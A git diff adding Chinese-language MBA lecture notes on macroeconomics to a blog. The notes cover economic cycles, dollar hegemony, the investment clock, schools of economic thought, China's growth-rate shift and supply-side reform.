+美国是消费导向型国家，消费占GDP比重将近80%，导致过度消费，而美国生产部门薄弱，制造业只占GDP的11%。所以，需要大量依赖进口。可见，中美贸易失衡的根源在于美国自身经济结构、增长模式。当今美国与中国存在贸易逆差的根源，与其八十年代和日本，乃至之前和西欧异曲同工。如果中国经济结构转型在未来获得成功，对美国没有巨额贸易逆差贡献的时候，那么，美国就会与印度、越南产生贸易逆差。 + +美国通过进口向全球输出它的经济周期。当美国经济繁荣时，进口增加，带动其他国家经济繁荣。反之，当美国经济萧条时，需求减少，导致其他经济体回落。所以，四次经济危机其实就是美国的金融危机，以它为正中，向全球扩散。 + +所谓美元霸权，最重要的特征是美联储印美元，到别的国家市场大量购买物资和工厂，别的国家利用美元购买美国国债，美国实现货币回流。所以，美国债务负担居高不下最主要的原因就是它通过贸易的渠道，将全球的经济周期关联起来。 + +2.2.2 金融渠道 + +经济周期产生的第二个渠道是金融渠道。 + +当美国经济下行时，美联储实行量化宽松政策，即通过购买国债等中长期债券，增加美元货币供给，向市场注入大量流动性资金，以鼓励开支和借贷，促进投资与消费。当美国经济复苏时，实行货币紧缩政策，美联储加息，美元升值，全球资本回流美国，美国经济扶摇直上，而那些过度负债、杠杆率过高的经济体，就有可能面临债务风险，俗称剪羊毛。 + +20世纪80年代的拉美债务危机，起源就是由于美元资产比较便宜，使得很多拉美国家借了大量美元债。在1980年至1983年间，当时的美联储主席沃尔克为了治理美国通货膨胀，大幅提高利率水平，使得大量的资金回流美国本土，导致拉美经济轰然崩塌。 + +90年代初的亚洲金融风暴也是由于美联储大幅降低美元利率，导致美元流动性泛滥，很多东南亚经济体借了很多短期美元债。在克林顿时期，当美国经济欣欣向荣时，美联储开始加息，美元资产再度回流，导致东南亚经济体债务偿还困难。 + +从通货膨胀角度看，价格具有滞后性。当经济开始复苏后，带动商品价格上涨，加速通货膨胀。CPI（Consumer Price Index），居民消费价格指数与PPI（Producer Price Index），生产价格指数，大幅波动。中国自1990到2006年，共经历了三轮通胀。与此相应，M2（广义货币）供应量，同样经历三轮增发。 + +![](/uploads/2019/06/05-10.png) + +当经济衰退时，存在产能过剩，因此超发的货币并不能改善供求关系和推动经济增长，进而引发通货膨胀；当经济过热时，总需求大于总供给、物价持续上涨，此时如果央行超发货币，必然引发通货膨胀。 + +自2016年以来，中国CPI指数保持平稳，基本没有引发通货膨胀。近些年，美国、欧盟等实行量化宽松政策（QE），利率甚至降低到0，但是全球各国通货膨胀率维持低位，原因在于现金没有推升CPI或PPI上涨，而是推升资产价格上涨。 + +过去十年间，有两大变化显而易见。第一，股市、房市在全球范围内大幅上涨，导致“货币政策影响通货膨胀水平”这个经济学原理失效。于是，就产生“货币政策影响资产价格”这个新的论调。因此，诞生了金融周期理论和宏观审慎框架，货币政策侧重于调节经济周期，以物价稳定为目标，宏观审慎政策侧重于调节金融周期，以金融稳定为目标。 + +第二，全球的资产价格的大涨使收入分配更加不均衡，贫富差距拉大，阶级矛盾大大增加。 + +2.3 中国面临五大经济周期叠加 + +现如今，中国经济形势较为复杂，面临五大经济周期叠加作用。 + +第一，中国面临世界经济的新一轮增长周期，机遇与挑战并存。当今世界主要经济体逐渐复苏，促进我国出口贸易，但是也带来美联储加息以及中美贸易摩擦。 + +第二，中国处于产能周期底部，经过2010-2015年市场自发出清叠加、2016-2018年供给侧改革，中国产能出清非常充分，资产负债表逐步修复，为新一轮高质量产能扩张积蓄力量。 + +第三，中国处于金融周期顶部，任何金融机构任何市场主体必须做好充分的准备，不能对这一轮的金融杠杆抱有侥幸的心理，金融机构应该通过加强监管、收缩信用来进行债务收缩、去杠杆。 + +第四，从房地产周期看——长期看人口、中期看土地、短期看金融。 + +第五，2017年三季度开始进入一轮商品的去库存周期，约持续到2018年或2019年初。 + +以上五个周期清晰可见，呈现了中国的经济和金融走势。在美联储加息的背景下，国内信用收缩、流动性退潮的过程中，今年大量的资产没有系统性的机会。未来系统性的机会可能是来自于经济利好，或者是流动性宽松，正如“河里有水，河里放水，就会有东西上涨”。流动性退潮的过程当中，总会伴随一些资产贬值。例如，股票下跌、债市暴露风险。 + +三、研究宏观经济有什么作用？ + +3.1 用作大类资产配置 + +研究宏观经济可以用作资产配置。在经济周期的不同阶段，大类资产的表现各不相同。美林投资时钟将经济周期分为衰退、复苏 、过热、滞胀四个阶段，并依次推荐债券、股票、大宗商品或现金。 + +第一阶段是衰退期，在这个阶段公司产能过剩，盈利能力下降、股票走低，市场供过于求，企业为了去库存降低商品价格，导致通货膨胀走低，对应美林时钟的6-9点。由于收益稳定、风险较小，此时债券为王。也就是说，资产配置顺序是债券>现金>股票>商品。 + +第二阶段是复苏期，在这个阶段随着需求回暖，企业经营状况得到改善、盈利能力提高，对应美林时钟的9-12点。此时，股票为王，债券次之。由于物价下行，商品依然亏钱，所以现金价值大于商品。也就是说，资产配置顺序是股票>债券>现金>商品。 + +第三阶段是过热期，在这个阶段公司产能增加，盈利能力增强，市场供不应求，通货膨胀上升，大宗商品类资产是过热阶段最佳的选择，对应美林时钟的12-3点。中央银行通过加息抑制股票估值的提升，使得股票表现比不上商品。GDP增长率仍处于潜能之上，收益率曲线虽然上行但变得平缓，债券表现较差。也就是说，资产配置顺序是商品>股票>现金>债券。 + +第四阶段是滞涨阶段，国家经济增长已经降低到合理水平以下，通货膨胀持续升高，企业产能不断下降，必须通过提高产品价格、裁员以保持盈利，所以股票和债券表现糟糕。而现金成为投资的首选，对应美林时钟的3-6点。也就是说，资产配置顺序是现金>商品>债券>股票。 + +![](/uploads/2019/06/05-11.png) + +我曾经和黑石集团——美国规模最大的上市投资管理公司的经理一起开会，得知黑石管理的资产规模约5万亿美元，而国内最大的基金公司不到一万亿美元的资产规模与其差距甚大。黑石集团采用被动投资进行资产管理，即建立一套投资的方法体系——投资时钟。经济利好时，购买股票；经济衰退时，购买债券。所以，通过被动投资，才可以管理如此庞大的资产。与之相比，国内很多基金公司无论经济繁荣还是衰退，都采取主动投资——去寻找那些能够跑赢大势的个股、去在市场抢占先机，其实这异常困难。 + +![](/uploads/2019/06/05-12.png) + +以上是关于投资时钟在大类资产配置的应用，它为一个国家创造财富、为个人创造财富，与国家命运、个人命运息息相关。经济增长理论揭示国家繁荣与衰退根源，帮助我们更好地理解宏观经济。 + +3.2 宏观经济试图拯救世界 + +3.2.1 宏观经济思想演化历程 + +纵观近一二百年的宏观经济思想史，你会发现宏观经济学是一个伟大的学科，因为它数次试图拯救世界。 + +1930s的大萧条使全球经济陷入长期衰退，从金融危机蔓延到经济危机、社会危机、政治危机最终引发政治危机，爆发了第二次世界大战，对全球各国造成毁灭性灾难。在大萧条之前，以亚当·斯密“无形之手”为代表的古典主义盛行；在大萧条之后，凯恩斯主义诞生，主张政府用“有形之手”调节市场“无形之手”，例如，政策采取货币刺激、财政刺激政策等去创造需求，扭转经济衰退局面。罗斯福新政就是践行凯恩斯主义，使美国触底反弹、重回繁荣。此时，凯恩斯作为宏观经济学第一位奠基人，地位无人能敌，他的很多著名论断，即使放在当今也让许多人望尘莫及。 + +1970s，全球经济陷入滞涨，高通货膨胀率和高失业率同时发生，使经济陷入长期衰退。按照凯恩斯主义论断，经济只有萧条、繁荣，通胀、通缩之分，而不可能出现经济停滞与通胀并行。1973年，美国再也无法按固定价格兑换黄金，不得不宣布美元贬值，布雷顿森林体系崩溃。因此，凯恩斯主义再也无法挽救美国经济于水火。这时候，新古典主义/新自由主义，货币主义、供给学派、奥地利学派开始重新复兴。里根经济学、撒切尔改革都是基于这个背景，简言之，就是放松管制。 + +从1970年到2008年，各国经济政策以货币宽松、自由化为主。到了2008年，次贷危机爆发，无论金融领域还是经济领域，过度放松和自由带来重大风险。例如，影子银行——作为次贷危机的推手，本质上为金融自由化的产物。于是，新凯恩斯主义复兴，以中国4万亿经济刺激、美联储量化宽松政策为代表，强调政府要有所作为，利用宏观调控去刺激需求。 + +![](/uploads/2019/06/05-13.png) + +如今，世界经济步入后危机时代，各国经济陷入长期低迷，世界各国通过极致的货币宽松政策，虽然避免了大萧条，但是却陷入大萎靡，导致资产价格上涨和收入分配矛盾加剧。于是，中国开始实行供给侧结构性改革。 + +综上，整个宏观经济学几次大的论战，其实都与它的时代背景有关。宏观经济是一门伟大的学科，因为每一次世界危机发生后，宏观经济学都挺身而出。经济增长理论揭示国家繁荣的原因，经济周期理论告知如何应对经济周期波动，从大萧条——第一次宏观经济的分演，凯恩斯主义对战古典主义的胜利，到滞胀时期新自由主义对凯恩斯主义的胜利，又到金融危机新凯恩斯主义对新自由主义的胜利，再到供给学派（供给侧改革）对凯恩斯主义的反思。由此可见，当世界陷入经济危机时，总会有一些新的经济流派来力挽狂澜。 + +![](/uploads/2019/06/05-14.png) + +3.3.2 各经济学流派解析 + +关于经济思想史，我推荐布鲁所著的《经济思想史》和斯诺登所撰写的《现代宏观经济学》。 + +第一，古典主义学说。经济学始于古典主义。古典主义最有名的论断是亚当·斯密“无形之手”。通过看不见的手，供给自动地创造需求，储蓄与投资保持平衡。通过自由竞争，整个经济体系达到一般均衡，在处理国际经济关系时，遵循自由放任原则，政府不对外贸进行管制。在经济衰落时，价格下跌，跌到一定程度就有利可图，就会有新的投资进入。在经济过热时，价格过高，成本抬高，降低利润，价格自动调节，这就是价格和竞争机制。 + +古典主义另一位翘楚李嘉图，继承和发展了斯密的理论，主要在劳动价值论和分配理论进行了丰富和完善，引入了比较优势理论，鼓励充分竞争、自由贸易。比较优势指各个国家利用自己的优势进行生产、贸易。充分竞争就是每个国家本着利己主义，实现整体效益最大化。 + +古典主义对政府的定位是守夜人，国家的唯一功能只有——为私人经营提供必要的外部条件和保障；反对垄断和不公平竞争；本着廉洁、高效和公平的原则办事，节省开支，减轻民众的各种税负。 + +在资本主义早期、工业革命以后，我们需要辩证地看古典主义学派。在资本主义萌芽时，政府为鼓励企业家创新、扩大再生产减少监管，导致收入分配的大幅度拉大，造成无产阶级和资产阶级的对立。 + +1929年，由于政府过度鼓励、放任自由竞争带来了很多问题。1929年10月24日，美国股市突然崩盘，危机由此开始，GDP一度出现负增长。大规模银行破产，出现挤兑风波。工厂倒闭，工人失业，劳动者收入下降，需求下滑，恶性循环。另外，美国的失业率高达25%，而当今美国失业率不到4%。市场已经无法自愈，从金融危机到经济危机，再到社会危机，政治危机，政府不断倒台，最终引发军事危机，爆发二战。 + +第二，凯恩斯主义。为了修复和完善古典主义弊端，凯恩斯主义诞生。凯恩斯并没有否定资本主义的优越性，而是正视“市场也会失灵”，但是政府可以通过宏观调控来弥补、来刺激需求。凯恩斯经济学的基本逻辑是在动物精神、边际消费倾向、流动性偏好三大对于人类的心理假设下，有效需求会产生独立于经济基本面的剧烈波动。 + +流动性偏好是指由于货币具有使用上的灵活性，人们宁肯以牺牲利息收入而储存不生息的货币来保持财富的心理倾向。当经济衰落时，人们宁愿持有不会产生利息的货币，也不会进行放贷和投资。动物精神就是指经济衰落时人们都很悲观而不愿意投资。 + +所以，凯恩斯主义提出要用政府这只手来弥补有效需求不足。凯恩斯在消费倾向的基础上，建立了一个乘数原理，乘数原理的经济含义可以归结为——投资变动给国民收入总量带来的影响，要比投资变动本身更大，这种变动，往往是投资变动的倍数。简言之，就是政府投资，百姓拿工资进行消费，同时激发投资，这是一种连锁反应，即乘数效应。 + +![](/uploads/2019/06/05-15.png) + +1933年，罗斯福实施新政整顿银行与金融系，下令银行休业整顿，逐步恢复银行的信用，并放弃金本位制，使美元贬值以刺激出口；大力兴建公共工程，缓和社会危机和阶级矛盾，增加就业刺激消费和生产，有效缓和了美国社会危机。 + +1998年亚洲金融风暴以后，朱镕基总理实施积极财政政策，投资国债项目、基础建设项目，有效激发经济活力。当年的政策对现在社会依然有深远的影响，如今你所看到的很多道路都是当年基建项目的成果。 + +中国在2008年颁布4万亿投资刺激时，曾论证过投资1元钱，能产生多少钱的效应。在经济衰落时，增加公共开支、扩大财政赤字、实施货币宽松政策，有助于经济复苏。在经济过热时，抑制需求，这就是凯恩斯主义精髓。 + +![](/uploads/2019/06/05-16.png) + +第三，新自由主义。1970s，经济出现停滞与通胀并存，凯恩斯主义关于“经济周期与通胀周期同步”理论失效。假设政府要挽救经济，需要实施宽松货币政策、积极财政政策，但是会造成通货膨胀加大。通胀具有很强的再分配效应。例如，富人拥有数套房子，通货膨胀时，房价大涨，富人资产增加，而穷人却因为货币贬值而无法购买房子。自此，贫富差距拉大。 + +自此，凯恩斯主义跌落深潭，延伸出其他流派——奥地利学派、供给学派、货币学派，对应人物有哈耶克、加尔布雷斯、弗里德曼、卢卡斯等等。所有这些学派，其实都是古典主义精神复归，我们可以把他们统称为是新自由主义。 + +![](/uploads/2019/06/05-17.png) + +新自由主义倡导重回自由主义精神，保护私人产权、法制和市场制度。 + +新自由主义有两大实践。第一个实践是美国“里根经济学”。政策主张有：大规模减税；除军事开支大幅增加（美苏争霸背景无法控制）外，减少财政支出，特别是福利支出；政府管制大规模减少；紧缩货币政策。撤销工会与企业谈判的大部分权利（认为工会与工人运动是对供给与生产的破坏）。 + +第二个实践是英国“撒切尔主义”。政策主张有：减税，改革税制（不按财产而按人口计税）；紧缩货币供应；限制政府支出，特别是一系列公共服务支出；解散工会，宣布罢工为非法；出售大量国有公共事业企业；放开大部分外国直接投资。 + +自此，美国和英国复苏，尤其是美国，成为全球领头羊。由于政策效果明显，于是试图把这一套新自由主义的理念向全世界输出，形成了所谓的华盛顿共识。包括： + +1.财政政策长期平稳，禁止大规模财政赤字。 + +2.限制公共补贴，仅限于可促进经济增长的部分，如扶贫、初等教育、基建。 + +3.税制改革，采取温和的边际税率。 + +4.利率完全市场化。 + +5.汇率完全市场化。 + +6.贸易尽可能自由化，不自由化的特殊领域仅限于通过关税实施。 + +7.外国直接投资完全自由化。 + +有些国家通过践行这些共识使经济腾飞——例如韩国，而有些国家则没有——例如东南亚、拉美。 + +第四，后危机时代。2008年美国发生次贷危机，缘由主要是九十年代以来实行经济自由化、贸易自由化、投资自由化、金融自由化，最终引发金融风暴。小布什政府为了推动经济增长，刺激房地产，推动美国家庭“居者有其屋”的计划。但是，当时美国富裕阶层的购房需求基本饱和。因此，政府把注意力转向那些中、低收入或收入不固定甚至是没有收入的人，促成了次级贷款大量发放。泡沫破灭后，违约潮来临。 + +次贷危机时，影子银行盛行。从2000年初到2007年、2008年，美国实行货币宽松政策，但是并没有引发通胀，有些人认为是技术创新或者效率提升导致，其实源头在于资产价格领域引发了金融结构的脆弱性，这就是加杠杆。加杠杆对个人益处有：利于增加贷款信用、股票投资机会；害处有：加重居民财务负担、抑制消费。 + +世界头号对冲基金，桥水基金创始人雷·达里奥认为：经济像机器一样运行。一笔交易就是指买方支付给卖方货币（或信用），同时卖方给买方提供物品、服务或者金融资产的交易过程。所有的买方和卖方为同一种物品进行交易，这就构成了一个市场。例如，小麦市场就是由持有不同目的买方和卖方做出的各种交易组成。 + +杠杆周期就是加杠杆与去杠杆。杠杆从狭义上讲，是指资产与股东权益之比；从广义上讲，则是通过负债实现以较小的资本金控制较大的资产规模，从而扩大盈利能力或购买力。当杠杆过高时，局部的违约事件容易造成大量的企业倒闭、资产价格大跌、银行挤兑破产等严重经济后果，形成经济或者金融危机。次贷危机时，美国大部分的杠杆都是通过影子银行来加的。 + +2008年次贷危机使凯恩斯主义复归，伯南克接任美联储主席，实行量化宽松政策。简而言之，就是美联储印钱，通过购买国债等中长期债券去杠杆以化解有毒资产。所谓量化宽松政策（QE）就是杠杆的转移，把金融部门有毒资产债务转移到了美联储的资产负债表上。所以，现在美联储的资产负债表大幅度扩张。 + +2011年9月，美国发生“占领华尔街”运动，原因在于美联储购买有毒资产，使美国股市、房市大涨，但是导致收入差距拉大。超发的货币最终由普通民众买单。因此，才有了特朗普逆袭总统，因为2016年总统大选的时候，希拉里是要继承量化宽松、低利率等政策，而特朗普反对低利率，实行再制造业化，开打贸易战，调整收入分配等政策。 + +特朗普提出的“再制造业化”，主要政策包括：实行减税政策，降低企业的成本，吸引外资流入；提高关税，促进美国本土企业回归建厂，与中国开打贸易战。综上所述，特朗普的逆袭，始作俑者并不是那些华尔街、那些西海岸硅谷的精英，而是那些沉默的大多数人，这就决定了特朗普新政的基因——实行民粹主义、贸易保护主义、自由主义的综合体。 + +所以，社会的变革、政治的更迭都是以经济作为基础。在大萧条时期，美国量化宽松政策的应对，迅速扭转局面，通货紧缩仅仅持续六个月，经济就实现复苏，而代价就是收入差距的大幅度拉大。在货币超发的背景下，最受益的是有资产的人。 + +中国自2008年以来，实行金融自由化，而现在金融监管重新收紧，其实中国整个经济周期滞后于美国十年（美国在九十年代实行自由化政策）。 + +2017年是中国供给侧结构性改革的深化之年，产业创新持续加强，带动产业结构优化升级，改革红利逐渐释放。2018年，供给侧改革将持续推进，宏观经济将维持平稳大势。 \ No newline at end of file diff --git a/_posts/2019-06-05-401-mba0502.md b/_posts/2019-06-05-401-mba0502.md new file mode 100644 index 0000000..18bfb60 --- /dev/null +++ b/_posts/2019-06-05-401-mba0502.md @@ -0,0 +1,227 @@ +--- +layout: post +title: 【经济学模块】 第2节 转型宏观：增速换挡和高质量发展 +pid: 401 +tags: [mba] +--- +引言 + +信息爆炸时代，中国经济将往何处去？对于宏观经济来说，要想做到高质量发展，增速换档和供给侧改革势在必行。 + +本讲主要讲述四个宏观经济学问题： + +1. 经济为什么要增速换档？ + +2. 中国为什么要进行供给侧改革？ + +3. 货币政策和财政政策如何影响经济形势？ + +4. 到底如何配置外汇、黄金？ + +一、增速换档，时代必然 + +1.1 中国经济增速换档背景 + +世界上有一百多个经济体，所有经济体增长曲线可以分为四类。 + +第一，低收入陷阱经济体。这类国家，虽然它有广阔的领土、丰富的资源、年轻的劳动力，但是它从没有增长的动力和希望，经济从未起飞过，一直地位徘徊。例如，非洲的一些经济体，这些国家社会动荡、政治混乱，其经济不能起飞的原因在于它没有通过改革开放建立一个好的制度。 + +第二，追赶失败经济体。这类国家通过成功的制度使经济腾飞，但是后来衰落了，即增速换挡失败了，落入了中等收入陷阱。例如，拉美、东南亚的部分经济体，未能从中等收入国家迈入高收入国家行列。 + +第三，成功追赶的经济体。少数经济体通过转型变革，增速换档，成功迈向高收入经济体，成为发达国家。例如，韩国、日本等国。 + +第四，高收入的经济体，例如美国、英国等，年均增长2%，代表了人类开拓技术前沿面的能力。 + +![](/uploads/2019/06/05-18.png) + +所以，人类开拓技术前沿的能力所支撑的增长年均就是2%。那么，中国经济到底应该保持怎样的增长速度呢？大家看下面这张图，横坐标是人均GDP，纵坐标是经济增速，以德、日、韩、中国台湾和中国大陆为样本，这些成功追赶的经济体都出现了经济增长平台的切换。我的团队在2010年提出增速换挡，我在2014年提出新5%比旧8%好——未来通过改革构筑的5%左右的新增长平台，比过去靠刺激勉强维持的8%的旧增长平台要好，因为改革破旧立新了，无风险利率下来了，产能出清了，产业升级了，居民生活改善了。 + +![](/uploads/2019/06/05-19.png) + +德、日、韩等国在经历了一定的阶段实现高速增长，约10年、20年、30年，平均增长8.3%，增长到了大约1万亿国际元前后，出现了增长平台切换，经济增速降一半至中速增长，中速增长持续约10-20年，再收敛到低速增长，成为一个成熟的、完全依靠创新驱动的发达经济体。 + +所以，大部分经济体并不知道其经济增速下降是由于增速换档所致，德国在60年代、日本在70年代、中国台湾在80年代、韩国在90年代，这四个年代发展的阶段背景不一样，但是无一例外，都出现了增长平台的切换。 + +![](/uploads/2019/06/05-20.png) + +二战以来，世界上一百多个追赶经济体，增速换挡成功的只有12个，成功的概率只有10%左右。我的团队在2014年做这张图的时，当时中国GDP折合约500美元，与当今8800美元进步甚大。发达国家门槛为12600美元，但即使我国迈入发达经济体俱乐部，也依旧与美国有巨大的差距，因为美国现在人均GDP约5万美元。 + +1.2 中国经济增速换档原因 + +那么，中国经济为什么要增速换档？一直保持高增长的趋势不好么？但是，作为一个经济体，经济不可能永远保持高增长，例如，美国经济增速为2%，欧洲1%，日本0增长，全球平均增速为4%。如果有哪个经济体年均增速6%-8%，100年后，世界基本只剩这一个经济体。所以，经济增速换档的原因一定是支撑高增长的动力发生了深刻而根本性的、不可逆转性的变化所带来，这就是资本、劳动和全要素生产率。例如，推动劳动力转变的刘易斯拐点——在工业化进程中，随着农村剩余劳动力向非农产业的逐步转移，农村剩余动力逐渐减少，最终达到瓶颈状态。 + +推动“增速换挡”有两个原因。第一，房地产长周期投资拐点出现。当今，买房主力人群为20-50岁，当买房人群达到峰值开始回落的时候，房地产投资也触及到长周期的拐点。第二，人口红利的出现。中国很多经济增长、经济结构与中国的人口数据高度相关。 + +建国以后，在1962-1976年间，出现了中国最大一笔婴儿潮，一对夫妇可以生4-5个孩子。随着计划生育的实施，从七十年代末开始，中国人口增长率呈现断崖式下降。需要强调的是，1962-1975出生的这一代人——决定了中国经济增长和经济结构的很多特点，也是中国最大一笔人口红利的来源，房地产也与此也息息相关。例如，中国过去经济的高增长，就是由这一批人在年轻的时候努力奋斗的结果，而人口老龄化，也是由于这一批人逐渐从青年成长为老年。 + +![](/uploads/2019/06/05-21.png) + +在1990年时，中国主流劳动力人群，1962年到1976年出生的这批人在90年代是二三十岁，当打之年，帮助中国经济高速增长。到了2015年、2016年，人口年龄迁移，62年到76年出生的人现在约42-56岁。再过五年，他们将逐渐开始退出劳动力市场，这就是为什么中国人口老龄化在加速到来。1976年以后，中国开始实施计划生育，人口出生率断崖式下降，一对夫妇到后来只生1.6-1.8孩子。为了保证代际平衡，一对夫妇生2.1个孩子是黄金点。 + +![](/uploads/2019/06/05-22.png) + +综上，中国经济增长、经济结构与中国人口数据高度相关。随着人口年龄结构变长，大量的农村剩余劳动力逐步向城市转移。改革开放之初，中国的城镇化率是17.92%，2017年中国的城镇化率58.6%。所以，城市如果再从农村吸纳闲置劳动力必须要给工人涨工资。自此，劳动力成本上升。 + +对于房地产来说，2000年初，1962-1973出生的人约30岁，首次置业。不管中国还是美国，买房人群均为20-50岁。具体而言，20-35岁首次购房，35-50岁改善性购房。过去十多年间，为什么小户型卖得好？刚需，这批人购买首套房。而为什么最近这两年大户型卖得好？换房，这批人从小房换大房。中国20-50岁的人口已经达到峰值开始回落，对经济贡献开始回落，所以房地产投资也开始增速换档。 + +由此可见，中国经济增速换档有两个原因。第一，劳动力成本低的时代结束。第二，人口决定了房地产投资的长周期拐点出现。中国经济，表面上是增速换档——从高速向中速的增长阶段转化；实质上是动力升级——由要素驱动转变为创新驱动、从中低端制造迈向高端制造和现代服务业升级转型、从住行消费向服务类的消费升级、从劳动力数量优势转变为人力资本优势；根本上是制度变革——从政府主导变为市场主导。 + +![](/uploads/2019/06/05-23.png) + +1.3 经济增速换档成功案例与失败案例 + +1.3.1 成功案例：韩国 + +韩国在建国之前还是一个封建制、半殖民地国家。建国之后，通过学习美国，经济扶摇直上。 + +1993年，金泳三政府推行不动产实名制和金融实名制以保证所有公职人员的财产联网、公开、透明。从此以后，韩国的政治一片清明。但是韩国面临经济增速换档，而经济改革缓慢，韩国的一些财阀找总统借钱以保证韩国经济高增长，他们创立了很多不赚钱的经济部门，如钢铁事业部、重化工业事业部。 + +在90年代，韩国实施金融自由化和金融的对外开放。所以，韩国的财阀不仅向国内借钱，也向全世界借钱，导致韩国的财阀资产负债率居高不下。1997年，当时韩国前30大财阀的资产负债率达到80%，也就是说，很多韩国财阀走在了破产的边缘，而随之到来的1998年金融风暴，促使韩国也处在破产的境地。 + +时势造英雄，这时，金大中勇于担当、力挽狂澜，发布执政纲领——《与国民同启未来》。他说：“韩国今天走到了国家破产的边缘，我们不抱怨任何人，因为导致这个情况的根本原因是我们改革转型迟缓，请大家相信我们，我会用我的余生痛下决心，来推动韩国的新一轮改革。”于是，当时很多韩国的民众排着队，把自己家压箱底的金银财宝捐献给国家，兑换外汇来拯救这个国家。 + +金大中也不负所托，推动了一系列改革。例如，放开电影管制，韩流崛起；放开信息经济管制，电子信息技术腾飞；将钢铁事业部、电子事业部实施专业化运营，降低运营成本。2000年以后，韩国转型成功。90年代末，韩国的人均GDP与马来西亚、泰国相当，但是现在，已经将他们远远甩开，发达国家门槛是2.6万美元，而韩国现在人均GDP为2.8万美元，已经迈入发达国家，这正是金大中，作为一个杰出的改革家、政治家对韩国的影响。 + +1.3.2 失败案例：马来西亚 + +马来西亚，作为经济转型失败的典型，值得人深思。1998年金融危机后，马哈蒂尔总统对西方深恶痛绝，认为资本主义是一切的罪魁祸首，于是实行闭关锁国政策。自此，马来西亚大门一关，整整二十年。二十年后，韩国已经蒸蒸日上，而马来西亚还在原地踏步。所以，经济危机并不可怕，关键在于危机时你做出什么样的选择，能否迎难而上。例如，中美贸易战，中国就选择进一步开放，值得称赞。 + +就经济结构来看，人力成本低的时代结束。在经济增速换档时，贸易盈余、投资对经济增长的贡献下降，而消费对经济增长的贡献上升。由此，以服务业为主的第三产业对经济增长的贡献上升，新的赛道诞生，中国正在由住行消费走向服务消费阶段。未来中国还有很大的城镇化空间，如今中国城镇化率58.6%，未来，也许城镇化进程会比过去慢一些，达到70%，工业化率、钢产量会达到峰值，而高端制造业、现代服务业——生产线和社会服务线的服务，从国际经验看，还有很大的上升空间。 + +1.4 中国经济未来之路，任重而道远 + +中国经济未来到底路在何方？从中国各行业固定资产的所有制结构可以看出，国有制造业比重不到10%，民营企业和外资企业占80%-90%，这是由于在过去的四十年，中国制造业不断地进行开放，造就了我国制造业庞大的竞争力。而唯一没有开放的制造业领域，汽车，发展千疮百孔。中国国有企业占服务业比重约70%-80%，所以中国新一轮开放的关键点在于服务业和高端制造业领域。中国正在从重化工业走向现代服务业和制造业升级阶段，需要实施两个举措。第一，扩大开放。第二，降低税负，放手让企业家大干一场。 + +![](/uploads/2019/06/05-24.png) + +二、供给侧改革，大势所趋 + +中国经济增速换档，不仅要刺激需求，还要进行供给侧改革。2015年12月，当时中央提出供给侧改革五大任务——“三去”、“一降”、“一补”，即去产能、去库存、去杠杆、降成本、补短板。2017年中共十九大提出“中国特色社会主义进入了新时代,我国经济发展也进入了新时代,基本特征就是我国经济已由高速增长阶段转向高质量发展阶段”，更加重视科技创新、制度变革、改革开放，开始从供给端开始发力。 + +供给侧结构性改革的原因在于在过去十几年，中国政府通过宽松的财政政策支撑经济，但是经济增长的动力结构没有转换。更重要的是，很多国有企业，虽然已经亏损，但是拒绝出清，形成了僵尸企业，债券悬空，造成金融风险。 + +我曾经在2015年提出——中国经济已经相当接近底部，在2017年提出——中国经济新周期。中国这轮经济转型成功的可能性非常大，因为中国主要解决了三个问题： + +第一，认识到中国经济存在的主要问题不是需求的刺激，而是提高供给侧的质量。 + +第二，找到了正确的解决方案。中央的顶层设计，通俗理解为“一一五三”。 + +“一个总要求”，即中国经济已由高速增长阶段转向高质量发展阶段。今后几年中国的宏观经济政策、结构政策、改革政策、社会政策都将围绕这个总要求展开。 + +“一条主线”，即以推进供给侧结构性改革为主线。 + +“五大任务”，即三去一降一补，去产能、去库存、去杠杆、降成本、补短板。 + +“三大攻坚战”，即防范化解重大风险、精准扶贫、污染防治。 + +第三，具备了坚决的执行力，实现政策落地。 + +2.1 去产能 + +从2015年底中央提出去产能开始，2017年底去产能任务基本完成，煤炭、钢铁，电解铝等行业基本完成既定目标，实施效果良好。 + +![](/uploads/2019/06/05-25.png) + +2.2 去库存 + +前几年中国很多三四线城市出现房子冗余情况，而今有些三四线城市竟然无房可卖，部分城市甚至出现了抢房现象。由此可见，库存的变化显而易见。 + +过去二十年，中国城镇化的指导思想是——控制大城市规模，重点发展中小城镇，区域均衡发展，这与人口流动趋势相违背。事实上，无论美国、日本、欧洲、韩国，还是中国，城市发展的基本规律都是人口往大的都市圈流动，因为大城市能够给你提供更多的机会、更优质的公共资源，能够给有才华、有梦想的年轻人提供实现梦想的机会，能为那些有高净值人士提供优质的公共资源。北京人口为2200万人、上海为2500万人，韩国首尔为1050万人，日本东京为3700万人，美国的人口也分布于两大海岸线。由此可见，人口都是向大城市集聚。 + +控制大城市规模的措施主要是控制供地规模。所以，一线城市的供地与人口流动趋势相悖。于是，房地产市场供不应求。发展中小城镇的措施主要是提高供地规模，这就是之前我国一二线城市房价过高，而三四线城市库存过高的一个很重要的原因。 + +我在2011年曾参与过北京的城市规划，当时北京想把人口控制在1500万人以内，于是按照1500万人的规模来供地、来做基础设施规划。如今，北京有2200万人，高额的房价和糟糕的交通状况使城市不堪重负。 + +综上，我们只有改变城市规划的思想，尊重人口流动基本趋势，从根本的住房制度改革来解决人口、城市规划、土地制度等问题，才能真正做到去库存。 + +2.3 去杠杆 + +为了摆脱2008年金融危机，2009年我国实施4万亿财政刺激，激发项目需求。2009年下半年，中央担心经济过热，于2010年，收紧宏观调控。但由于很多项目已经开工，不能成为烂尾工程，导致融资需求仍在。于是，加杠杆、通道业务、影子银行业务诞生。 + +![](/uploads/2019/06/05-26.png) + +2010年至2012年，中国政府鼓励金融创新，金融创新的过程就是金融自由化的过程。从我国来看，理财从无到有，从小到大，增长势头强劲，不到10年的时间就达到29万亿元，而我国通道业务——信托、券商资管、基金子公司，迅速膨胀，每个业务规模都将近10万亿元，总计为30多万亿元。 + +金融机构加杠杆过程是信用扩张的过程，同时也是货币投放的过程。为什么金融机构愿意贷款给地方政府、地方融资平台？因为有信用背书、有隐性担保，不会有不良资产。所以，它可以享受信用溢价，降低融资成本。如果金融机构贷款给制造业领域、小微企业，如果一家破产，其他企业即使盈利也于事无补。地方融资平台有信用背书，金融风险被银行一家兜底，两个融资主体存在不公平竞争，所以要打破刚性兑付。刚性兑付，就是信托产品到期后，信托公司必须分配给投资者本金以及收益，当信托计划出现不能如期兑付或兑付困难时，信托公司需要兜底处理。 + +同理，产能过剩的国企隐瞒不良资产记录、实际经营状况，同时有政府兜底，于是获得银行融资。由此可见，银行明知道这类企业实际状况，却给他们更低的融资成本、更轻易的信用资源，风险不言自明。另外，这类企业的预期回报率较高。 + 